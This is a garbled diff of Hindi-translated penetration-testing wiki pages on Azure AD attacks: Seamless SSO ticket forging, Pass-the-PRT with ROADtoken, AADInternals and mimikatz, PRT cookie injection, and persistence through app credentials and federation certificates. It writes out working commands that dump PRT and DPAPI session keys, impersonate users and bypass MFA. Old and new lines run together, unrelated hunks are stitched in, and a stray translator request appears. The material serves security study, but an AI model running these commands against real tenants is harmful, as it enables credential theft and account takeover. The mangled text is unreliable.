- **एक समझौता किए गए उपयोगकर्ता का NTLM हैश या AES कुंजी:** SeamlessPass इस जानकारी के साथ डोमेन नियंत्रक के साथ संवाद करेगा ताकि TGT उत्पन्न किया जा सके। - **एक समझौता किए गए उपयोगकर्ता का NTLM हैश या AES कुंजी:** SeamlessPass इस जानकारी के साथ डोमेन कंट्रोलर के साथ संवाद करेगा ताकि TGT उत्पन्न किया जा सके।
- **AZUREADSSOACC$ खाता NTLM हैश या AES कुंजी:** इस जानकारी और उपयोगकर्ता के सुरक्षा पहचानकर्ता (SID) के साथ, सेवा टिकट बनाना और क्लाउड के साथ प्रमाणीकरण करना संभव है (जैसा कि पिछले तरीके में किया गया था)। - **AZUREADSSOACC$ खाता NTLM हैश या AES कुंजी:** इस जानकारी और उपयोगकर्ता के सुरक्षा पहचानकर्ता (SID) के साथ हमला करना संभव है कि एक सेवा टिकट बनाया जाए और क्लाउड के साथ प्रमाणीकरण किया जाए (जैसा कि पिछले तरीके में किया गया था)।
अंत में, TGT के साथ, आप उपकरण [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) का उपयोग कर सकते हैं: अंत में, TGT के साथ, आप उपकरण [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) का उपयोग कर सकते हैं:
``` ```
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT> seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
``` ```
Firefox को seamless SSO के साथ काम करने के लिए और जानकारी [**इस ब्लॉग पोस्ट में**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) मिल सकती है। Firefox को seamless SSO के साथ काम करने के लिए आगे की जानकारी [**इस ब्लॉग पोस्ट में**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) मिल सकती है।
#### ~~क्लाउड-केवल उपयोगकर्ताओं के लिए Kerberos टिकट बनाना~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a> #### ~~क्लाउड-केवल उपयोगकर्ताओं के लिए Kerberos टिकट बनाना~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
@@ -99,7 +99,7 @@ Firefox को seamless SSO के साथ काम करने के ल
```python ```python
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$ python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
``` ```
## संदर्भ ## References
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) - [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
@@ -16,7 +16,7 @@ SSO State अनुभाग में, आपको **`AzureAdPrt`** **YES**
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
एक ही आउटपुट में आप यह भी देख सकते हैं कि **डिवाइस Azure से जुड़ा है** (फील्ड `AzureAdJoined` में): एक ही आउटपुट में आप यह भी देख सकते हैं कि **डिवाइस Azure से जुड़ा है** (क्षेत्र `AzureAdJoined` में):
<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
@@ -36,32 +36,32 @@ PRT कुकी वास्तव में **`x-ms-RefreshTokenCredential`**
``` ```
वास्तविक **Primary Refresh Token (PRT)** **`refresh_token`** के भीतर संकुचित होता है, जिसे Azure AD के नियंत्रण में एक कुंजी द्वारा एन्क्रिप्ट किया गया है, जिससे इसकी सामग्री हमारे लिए अपारदर्शी और अव्याख्येय हो जाती है। फ़ील्ड **`is_primary`** इस टोकन के भीतर प्राथमिक रिफ्रेश टोकन के संकुचन को दर्शाता है। यह सुनिश्चित करने के लिए कि कुकी उस विशेष लॉगिन सत्र से बंधी रहे जिसके लिए इसे बनाया गया था, `request_nonce` को `logon.microsoftonline.com` पृष्ठ से भेजा जाता है। वास्तविक **Primary Refresh Token (PRT)** **`refresh_token`** के भीतर संकुचित होता है, जिसे Azure AD के नियंत्रण में एक कुंजी द्वारा एन्क्रिप्ट किया गया है, जिससे इसकी सामग्री हमारे लिए अपारदर्शी और अव्याख्येय हो जाती है। फ़ील्ड **`is_primary`** इस टोकन के भीतर प्राथमिक रिफ्रेश टोकन के संकुचन को दर्शाता है। यह सुनिश्चित करने के लिए कि कुकी उस विशेष लॉगिन सत्र से बंधी रहे जिसके लिए इसे बनाया गया था, `request_nonce` को `logon.microsoftonline.com` पृष्ठ से भेजा जाता है।
### PRT कुकी प्रवाह TPM का उपयोग करे हुए ### TPM का उपयोग करPRT कुकी प्रवा
**LSASS** प्रक्रिया TPM को **KDF संदर्भ** भेजेगी, और TPM **सत्र कुंजी** (जो AzureAD में डिवाइस पंजीकरण के समय एकत्र की गई थी और TPM में संग्रहीत है) और पिछले संदर्भ का उपयोग करके एक **कुंजी** उत्पन्न करेगा, और यह **उत्पन्न कुंजी** **PRT कुकी (JWT)** पर हस्ताक्षर करने के लिए उपयोग की जाती है। **LSASS** प्रक्रिया TPM को **KDF संदर्भ** भेजेगी, और TPM **सत्र कुंजी** (जो AzureAD में डिवाइस पंजीकरण के समय एकत्र की गई थी और TPM में संग्रहीत है) और पिछले संदर्भ का उपयोग करके एक **कुंजी** उत्पन्न करेगा, और यह **उत्पन्न कुंजी** **PRT कुकी (JWT)** पर हस्ताक्षर करने के लिए उपयोग की जाती है।
**KDF संदर्भ** AzureAD से एक नॉनस और PRT को मिलाकर एक **JWT** है जिसमें एक **संदर्भ** (यादृच्छिक बाइट्स) है। **KDF संदर्भ** AzureAD से एक नॉनस और PRT को मिलाकर एक **JWT** है जिसमें एक **संदर्भ** (यादृच्छिक बाइट्स) है।
इसलिए, भले ही PRT को निकाला नहीं जा सकता क्योंकि यह TPM के भीतर स्थित है, LSASS का दुरुपयोग करके **नए संदर्भों से उत्पन्न कुंज का अनुरोध करना और उत्पन्न कुंज का उपयोग करके कुकीज़ पर हस्ताक्षर करना संभव है** इसलिए, भले ही PRT को निकाला नहीं जा सकता क्योंकि यह TPM के भीतर स्थित है, LSASS का दुरुपयोग करके **नए संदर्भों से उत्पन्न कुंजियों का अनुरोध करना और उत्पन्न कुंजियों का उपयोग करके कुकीज़ पर हस्ताक्षर करना संभव है**
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
## PRT दुरुपयोग परिदृश्य ## PRT दुरुपयोग परिदृश्य
एक **सामान्य उपयोगकर्ता** के रूप में, **SSO डेटा के लिए LSASS से PRT उपयोग का अनुरोध करना संभव है।**\ एक **सामान्य उपयोगकर्ता** के रूप में, **SSO डेटा के लिए LSASS से PRT उपयोग का अनुरोध करना संभव है।**\
यह **स्थानीय ऐप्स** की तरह किया जा सकता है जो **Web Account Manager** (टोकन ब्रोकर) से टोकन का अनुरोध करते हैं। WAM अनुरोध को **LSASS** को पास करता है, जो हस्ताक्षरित PRT असर्शन का उपयोग करके टोकन के लिए पूछता है। या इसे **ब्राउज़र आधारित (वेब) प्रवाह** के साथ किया जा सकता है जहां **PRT कुकी** को Azure AS लॉगिन पृष्ठों के लिए अनुरोधों को प्रमाणित करने के लिए **हेडर** के रूप में उपयोग किया जाता है। यह **स्थानीय ऐप्स** की तरह किया जा सकता है जो **Web Account Manager** (टोकन ब्रोकर) से टोकन का अनुरोध करते हैं। WAM अनुरोध को **LSASS** को भेजता है, जो हस्ताक्षरित PRT असर्शन का उपयोग करके टोकन के लिए पूछता है। या इसे **ब्राउज़र आधारित (वेब) प्रवाह** के साथ किया जा सकता है जहां **PRT कुकी** को Azure AS लॉगिन पृष्ठों के लिए अनुरोधों को प्रमाणित करने के लिए **हेडर** के रूप में उपयोग किया जाता है।
**SYSTEM** के रूप में, आप **PRT को चुरा सकते हैं यदि यह TPM द्वारा सुरक्षित नहीं है** या **LSASS में PRT कुंज के साथ इंटरैक्ट कर सकते हैं** क्रिप्टो एपीआई का उपयोग करके। **SYSTEM** के रूप में, आप **PRT को चुरा सकते हैं यदि यह TPM द्वारा सुरक्षित नहीं है** या **क्रिप्टो एपीआई का उपयोग करके LSASS में PRT कुंजियों के साथ इंटरैक्ट कर सकते हैं**
## Pass-the-PRT हमले के उदाहरण ## Pass-the-PRT हमले के उदाहरण
### हमला - ROADtoken ### हमला - ROADtoken
इस तरीके के बारे में अधिक जानकारी के लिए [**इस पोस्ट की जांच करें**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)। ROADtoken **`BrowserCore.exe`** को सही निर्देशिका से चलाएगा और इसका उपयोग **PRT कुकी प्राप्त करने** के लिए करेगा। इस कुकी का उपयोग ROADtools के साथ प्रमाणीकरण करने और **एक स्थायी रिफ्रेश टोकन प्राप्त करने** के लिए किया जा सकता है। इस तरीके के बारे में अधिक जानकारी के लिए [**इस पोस्ट की जांच करें**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)। ROADtoken **`BrowserCore.exe`** को सही निर्देशिका से चलाएगा और इसका उपयोग **PRT कुकी प्राप्त करने** के लिए करेगा। इस कुकी का उपयोग ROADtools के साथ प्रमाणित करने और **एक स्थायी रिफ्रेश टोकन प्राप्त करने** के लिए किया जा सकता है।
एक मान्य PRT कुकी उत्पन्न करने के लिए आपको सबसे पहले एक नॉनस की आवश्यकता है।\ एक मान्य PRT कुकी उत्पन्न करने के लिए आपको सबसे पहले एक नॉनस की आवश्यकता है।\
आप इसे प्राप्त कर सकते हैं: आप इसे प्राप्त कर सकते हैं:
```powershell ```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
@@ -77,19 +77,19 @@ $Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
``` ```
या [**roadrecon**](https://github.com/dirkjanm/ROADtools) का उपयोग करके: या [**roadrecon**](https://github.com/dirkjanm/ROADtools) का उपयोग करके:
```powershell ```bash
roadrecon auth prt-init roadrecon auth prt-init
``` ```
फिर आप [**roadtoken**](https://github.com/dirkjanm/ROADtoken) का उपयोग करके एक नया PRT प्राप्त कर सकते हैं (उपयोगकर्ता के एक प्रक्रिया से हमले के लिए उपकरण में चलाएँ): फिर आप [**roadtoken**](https://github.com/dirkjanm/ROADtoken) का उपयोग करके एक नया PRT प्राप्त कर सकते हैं (उपयोगकर्ता के एक प्रक्रिया से हमले के लिए उपकरण में चलाएँ):
```powershell ```bash
.\ROADtoken.exe <nonce> .\ROADtoken.exe <nonce>
``` ```
कृपया उस टेक्स्ट को प्रदान करें जिसे आपको अनुवादित करने की आवश्यकता है। कृपया उस पाठ को प्रदान करें जिसे आपको अनुवादित करने की आवश्यकता है।
```powershell ```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
``` ```
फिर आप **जनित कुकी** का उपयोग **टोकन उत्पन्न करने** के लिए कर सकते हैं ताकि Azure AD **ग्राफ** या Microsoft ग्राफ का उपयोग करके **लॉगिन** किया जा सके: फिर आप **जनित कुकी** का उपयोग **टोकन उत्पन्न करने** के लिए कर सकते हैं ताकि **Azure AD** **Graph** या Microsoft Graph का उपयोग करके **लॉगिन** किया जा सके:
```powershell ```bash
# Generate # Generate
roadrecon auth --prt-cookie <prt_cookie> roadrecon auth --prt-cookie <prt_cookie>
@@ -101,7 +101,7 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
### Attack - Using AADInternals and a leaked PRT ### Attack - Using AADInternals and a leaked PRT
`Get-AADIntUserPRTToken` **उपयोगकर्ता का PRT टोकन** Azure AD जुड़े या हाइब्रिड जुड़े कंप्यूटर से प्राप्त करता है। PRT टोकन प्राप्त करने के लिए `BrowserCore.exe` का उपयोग करता है। `Get-AADIntUserPRTToken` **उपयोगकर्ता का PRT टोकन** Azure AD जुड़े या हाइब्रिड जुड़े कंप्यूटर से प्राप्त करता है। PRT टोकन प्राप्त करने के लिए `BrowserCore.exe` का उपयोग करता है।
```powershell ```bash
# Get the PRToken # Get the PRToken
$prtToken = Get-AADIntUserPRTToken $prtToken = Get-AADIntUserPRTToken
@@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
``` ```
या अगर आपके पास Mimikatz से मान हैं, तो आप AADInternals का उपयोग करके एक टोकन भी उत्पन्न कर सकते हैं: या अगर आपके पास Mimikatz से मान हैं, तो आप AADInternals का उपयोग करके एक टोकन भी उत्पन्न कर सकते हैं:
```powershell ```bash
# Mimikat "PRT" value # Mimikat "PRT" value
$MimikatzPRT="MC5BWU..." $MimikatzPRT="MC5BWU..."
@@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
# Verify access and connect with Az. You can see account id in mimikatz prt output # Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id> Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
``` ```
[https://login.microsoftonline.com](https://login.microsoftonline.com) पर जाएं, login.microsoftonline.com के लिए सभी कुकीज़ को साफ़ करें और एक नई कुकी दर्ज करें। [https://login.microsoftonline.com](https://login.microsoftonline.com) पर जाएं, login.microsoftonline.com के लिए सभी कुकीज़ साफ़ करें और एक नई कुकी दर्ज करें।
``` ```
Name: x-ms-RefreshTokenCredential Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above] Value: [Paste your output from above]
@@ -152,9 +152,9 @@ HttpOnly: Set to True (checked)
#### चरण #### चरण
1. **PRT (प्राथमिक रिफ्रेश टोकन) LSASS** (स्थानीय सुरक्षा प्राधिकरण उपप्रणाली सेवा) से निकाला जाता है और आगे के उपयोग के लिए संग्रहीत किया जाता है। 1. **PRT (प्राथमिक ताज़ा टोकन) LSASS** (स्थानीय सुरक्षा प्राधिकरण उपप्रणाली सेवा) से निकाला जाता है और आगे के उपयोग के लिए संग्रहीत किया जाता है।
2. **सत्र कुंजी अगली निकाली जाती है**। चूंकि यह कुंजी प्रारंभ में जारी की जाती है और फिर स्थानीय डिवाइस द्वारा फिर से एन्क्रिप्ट की जाती है, इसलिए इसे DPAPI मास्टरकी का उपयोग करके डिक्रिप्ट करने की आवश्यकता होती है। DPAPI (डेटा सुरक्षा एपीआई) के बारे में विस्तृत जानकारी इन संसाधनों में पाई जा सकती है: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) और इसके अनुप्रयोग की समझ के लिए, [Pass-the-cookie attack](az-pass-the-cookie.md) देखें। 2. **सत्र कुंजी अगली निकाली जाती है**। चूंकि यह कुंजी प्रारंभ में जारी की जाती है और फिर स्थानीय डिवाइस द्वारा फिर से एन्क्रिप्ट की जाती है, इसलिए इसे DPAPI मास्टरकी का उपयोग करके डिक्रिप्ट करन आवश्यक है। DPAPI (डेटा सुरक्षा एपीआई) के बारे में विस्तृत जानकारी इन संसाधनों में पाई जा सकती है: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) और इसके अनुप्रयोग की समझ के लिए, [Pass-the-cookie attack](az-pass-the-cookie.md) देखें।
3. सत्र कुंजी के डिक्रिप्शन के बाद, **PRT के लिए व्युत्पन्न कुंजी और संदर्भ प्राप्त होते हैं**। ये **PRT कुकी के निर्माण** के लिए महत्वपूर्ण हैं। विशेष रूप से, व्युत्पन्न कुंजी का उपयोग कुकी का गठन करने वाले JWT (जेसन वेब टोकन) पर हस्ताक्षर करने के लिए किया जाता है। इस प्रक्रिया का एक व्यापक विवरण डिर्क-जान द्वारा प्रदान किया गया है, जिसे [यहां](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) एक्सेस किया जा सकता है। 3. सत्र कुंजी के डिक्रिप्शन के बाद, **PRT के लिए व्युत्पन्न कुंजी और संदर्भ प्राप्त होते हैं**। ये **PRT कुकी के निर्माण** के लिए महत्वपूर्ण हैं। विशेष रूप से, व्युत्पन्न कुंजी का उपयोग उस JWT (JSON वेब टोकन) पर हस्ताक्षर करने के लिए किया जाता है जो कुकी बनाता है। इस प्रक्रिया का एक व्यापक विवरण डिर्क-जान द्वारा प्रदान किया गया है, जिसे [यहां](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) एक्सेस किया जा सकता है।
> [!CAUTION] > [!CAUTION]
> ध्यान दें कि यदि PRT TPM के अंदर है और `lsass` के अंदर नहीं है, तो **mimikatz इसे निकालने में असमर्थ होगा**।\ > ध्यान दें कि यदि PRT TPM के अंदर है और `lsass` के अंदर नहीं है, तो **mimikatz इसे निकालने में असमर्थ होगा**।\
@@ -166,7 +166,7 @@ HttpOnly: Set to True (checked)
> यह अगस्त 2021 के सुधारों के बाद अन्य उपयोगकर्ताओं के PRT टोकन प्राप्त करने के लिए ठीक से काम नहीं करेगा क्योंकि केवल उपयोगकर्ता ही अपना PRT प्राप्त कर सकता है (एक स्थानीय व्यवस्थापक अन्य उपयोगकर्ताओं के PRTs तक पहुंच नहीं सकता), लेकिन वह अपने PRT तक पहुंच सकता है। > यह अगस्त 2021 के सुधारों के बाद अन्य उपयोगकर्ताओं के PRT टोकन प्राप्त करने के लिए ठीक से काम नहीं करेगा क्योंकि केवल उपयोगकर्ता ही अपना PRT प्राप्त कर सकता है (एक स्थानीय व्यवस्थापक अन्य उपयोगकर्ताओं के PRTs तक पहुंच नहीं सकता), लेकिन वह अपने PRT तक पहुंच सकता है।
आप **mimikatz** का उपयोग करके PRT निकाल सकते हैं: आप **mimikatz** का उपयोग करके PRT निकाल सकते हैं:
```powershell ```bash
mimikatz.exe mimikatz.exe
Privilege::debug Privilege::debug
Sekurlsa::cloudap Sekurlsa::cloudap
@@ -187,7 +187,7 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
> [!NOTE] > [!NOTE]
> यदि आप कोई PRT डेटा नहीं देखते हैं, तो इसका मतलब यह हो सकता है कि आपके पास **कोई PRT नहीं है** क्योंकि आपका डिवाइस Azure AD से जुड़ा नहीं है या यह हो सकता है कि आप **Windows 10 का पुराना संस्करण** चला रहे हैं। > यदि आप कोई PRT डेटा नहीं देखते हैं, तो इसका मतलब यह हो सकता है कि आपके पास **कोई PRT नहीं है** क्योंकि आपका डिवाइस Azure AD से जुड़ा नहीं है या यह हो सकता है कि आप **Windows 10 का पुराना संस्करण** चला रहे हैं।
सत्र कुंजी को **डिक्रिप्ट** करने के लिए आपको अपनी विशेषताओं को **SYSTEM** में **उन्नत** करना होगा ताकि आप कंप्यूटर संदर्भ के तहत चल सकें और **DPAPI मास्टरकी को डिक्रिप्ट करने के लिए उपयोग कर सकें**। आप ऐसा करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं: सत्र कुंजी को **डिक्रिप्ट** करने के लिए आपको अपनी विशेषताओं को **SYSTEM** में **उच्च करना** होगा ताकि आप कंप्यूटर संदर्भ के तहत चल सकें और **DPAPI मास्टरकी को डिक्रिप्ट करने के लिए उपयोग कर सकें**। आप ऐसा करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं:
``` ```
token::elevate token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
@@ -217,14 +217,14 @@ Value: [Paste your output from above]
Path: / Path: /
HttpOnly: Set to True (checked) HttpOnly: Set to True (checked)
``` ```
- फिर जाएं [https://portal.azure.com](https://portal.azure.com) - फिर [https://portal.azure.com](https://portal.azure.com) पर जाएं
> [!CAUTION] > [!CAUTION]
> बाकी सब डिफ़ॉल्ट होना चाहिए। सुनिश्चित करें कि आप पृष्ठ को रिफ्रेश कर सकते हैं और कुकी गायब नहीं होती, अगर ऐसा होता है, तो आपने गलती की हो सकती है और आपको प्रक्रिया को फिर से करना होगा। अगर ऐसा नहीं होता है, तो आप ठीक होंगे। > बाकी सब डिफ़ॉल्ट होना चाहिए। सुनिश्चित करें कि आप पृष्ठ को रिफ्रेश कर सकते हैं और कुकी गायब नहीं होती, यदि ऐसा होता है, तो आपने गलती की हो सकती है और आपको प्रक्रिया को फिर से करना होगा। यदि ऐसा नहीं होता है, तो आप ठीक होंगे।
#### विकल्प 2 - roadrecon का उपयोग करते हुए PRT #### विकल्प 2 - roadrecon का उपयोग करके PRT
- पहले PRT को नवीनीकरण करें, जो इसे `roadtx.prt` में सहेज ेगा: - पहले PRT को नवीनीकरण करें, जो इसे `roadtx.prt` में सहेज ेगा:
```bash ```bash
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz> roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
``` ```
@@ -237,7 +237,7 @@ roadtx describe < .roadtools_auth
#### विकल्प 3 - roadrecon का उपयोग करके व्युत्पन्न कुंजी #### विकल्प 3 - roadrecon का उपयोग करके व्युत्पन्न कुंजी
mimikatz द्वारा डंप की गई संदर्भ और व्युत्पन्न कुंजी के साथ, एक नए हस्ताक्षरित कुकी को उत्पन्न करने के लिए roadrecon का उपयोग करना संभव है: mimikatz द्वारा डंप की गई संदर्भ और व्युत्पन्न कुंजी के साथ, roadrecon का उपयोग करके एक नया साइन किया हुआ कुकी उत्पन्न करना संभव है:
```bash ```bash
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key> roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
``` ```
@@ -2,6 +2,8 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
टेस्ट शुरू करने के लिए, आपके पास **सदस्यता पर Reader permissions** और **AzureAD में Global Reader role** के साथ एक उपयोगकर्ता के साथ पहुंच होनी चाहिए। यदि फिर भी आप **Storage accounts की सामग्री तक पहुंचने में असमर्थ हैं**, तो आप इसे **Storage Account Contributor role** के साथ ठीक कर सकते हैं कुछ Entra ID टेनेट्स की एक सफेद बॉक्स हार्डनिंग समीक्षा शुरू करने के लिए, आपको **प्रत्येक टेनेट पर Global Reader भूमिका** के लिए पूछना होगा। इसके अलावा, विभिन्न Azure सब्सक्रिप्शनों की हार्डनिंग समीक्षा करने के लिए, आपको कम से कम **सभी सब्सक्रिप्शनों पर Reader अनुमतियाँ** चाहिए होंगी
ध्यान दें कि यदि ये भूमिकाएँ आपको आवश्यक सभी जानकारी तक पहुँचने के लिए पर्याप्त नहीं हैं, तो आप क्लाइंट से उन भूमिकाओं के लिए भी पूछ सकते हैं जिनमें आपको आवश्यक अनुमतियाँ हैं। बस कोशिश करें कि आप **जितनी संभव हो, उतनी ही नॉन-रीड-ओनली अनुमतियों की मात्रा को कम करें!**
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
@@ -6,42 +6,42 @@
डिफ़ॉल्ट रूप से, कोई भी उपयोगकर्ता Azure AD में एक एप्लिकेशन पंजीकृत कर सकता है। इसलिए आप एक एप्लिकेशन पंजीकृत कर सकते हैं (केवल लक्षित टेनेट के लिए) जिसे उच्च प्रभाव वाले अनुमतियों की आवश्यकता होती है जिसमें व्यवस्थापक की सहमति (यदि आप व्यवस्थापक हैं तो इसे स्वीकृत करें) - जैसे कि किसी उपयोगकर्ता की ओर से मेल भेजना, भूमिका प्रबंधन आदि। यह हमें **फिशिंग हमलों को निष्पादित करने** की अनुमति देगा जो सफलता की स्थिति में बहुत **लाभकारी** होंगे। डिफ़ॉल्ट रूप से, कोई भी उपयोगकर्ता Azure AD में एक एप्लिकेशन पंजीकृत कर सकता है। इसलिए आप एक एप्लिकेशन पंजीकृत कर सकते हैं (केवल लक्षित टेनेट के लिए) जिसे उच्च प्रभाव वाले अनुमतियों की आवश्यकता होती है जिसमें व्यवस्थापक की सहमति (यदि आप व्यवस्थापक हैं तो इसे स्वीकृत करें) - जैसे कि किसी उपयोगकर्ता की ओर से मेल भेजना, भूमिका प्रबंधन आदि। यह हमें **फिशिंग हमलों को निष्पादित करने** की अनुमति देगा जो सफलता की स्थिति में बहुत **लाभकारी** होंगे।
इसके अलावा, आप अपने उपयोगकर्ता के रूप में उस एप्लिकेशन को स्वीकार कर सकते हैं ताकि उस पर पहुंच बनाए रख सकें। इसके अलावा, आप उस एप्लिकेशन को अपने उपयोगकर्ता के रूप में स्वीकार कर सकते हैं ताकि उस पर पहुंच बनाए रख सकें।
### एप्लिकेशन और सेवा प्रमुख ### एप्लिकेशन और सेवा प्रमुख
एप्लिकेशन व्यवस्थापक, GA या microsoft.directory/applications/credentials/update अनुमतियों के साथ एक कस्टम भूमिका के विशेषाधिकारों के साथ, हम एक मौजूदा एप्लिकेशन में क्रेडेंशियल्स (गुप्त या प्रमाणपत्र) जोड़ सकते हैं। एप्लिकेशन प्रशासक, GA या microsoft.directory/applications/credentials/update अनुमतियों के साथ एक कस्टम भूमिका के विशेषाधिकार के साथ, हम एक मौजूदा एप्लिकेशन में क्रेडेंशियल (गुप्त या प्रमाणपत्र) जोड़ सकते हैं।
यह **उच्च अनुमतियों वाले एप्लिकेशन को लक्षित करना** या **उच्च अनुमतियों के साथ एक नया एप्लिकेशन जोड़ना** संभव है। यह **उच्च अनुमतियों वाले एप्लिकेशन को लक्षित करना** या **उच्च अनुमतियों के साथ एक नया एप्लिकेशन जोड़ना** संभव है।
एप्लिकेशन में जोड़ने के लिए एक दिलचस्प भूमिका **विशेषाधिकार प्राप्त प्रमाणीकरण व्यवस्थापक भूमिका** होगी क्योंकि यह वैश्विक व्यवस्थापकों का **पासवर्ड रीसेट** करने की अनुमति देती है। एप्लिकेशन में जोड़ने के लिए एक दिलचस्प भूमिका **विशेषाधिकार प्राप्त प्रमाणीकरण प्रशासक भूमिका** होगी क्योंकि यह वैश्विक प्रशासकों का **पासवर्ड रीसेट** करने की अनुमति देती है।
यह तकनीक **MFA को बायपास** करने की भी अनुमति देती है। यह तकनीक **MFA को बायपास** करने की भी अनुमति देती है।
```powershell ```bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
``` ```
- प्रमाणपत्र आधारित प्रमाणीकरण के लिए - प्रमाणपत्र आधारित प्रमाणीकरण के लिए
```powershell ```bash
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId> Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
``` ```
### Federation - Token Signing Certificate ### Federation - Token Signing Certificate
**DA विशेषाधिकार** के साथ ऑन-प्रेम AD पर, **नए Token signing** और **Token Decrypt certificates** बनाना और आयात करना संभव है जिनकी वैधता बहुत लंबी होती है। यह हमें **किसी भी उपयोगकर्ता के रूप में लॉग-इन** करने की अनुमति देगा जिसका ImuutableID हमें पता है। **DA विशेषाधिकार** के साथ ऑन-प्रेम AD पर, **नए Token signing** और **Token Decrypt certificates** बनाना और आयात करना संभव है जिनकी वैधता बहुत लंबी होती है। यह हमें **किसी भी उपयोगकर्ता के रूप में लॉग-इन** करने की अनुमति देगा जिसका ImuutableID हमें पता है।
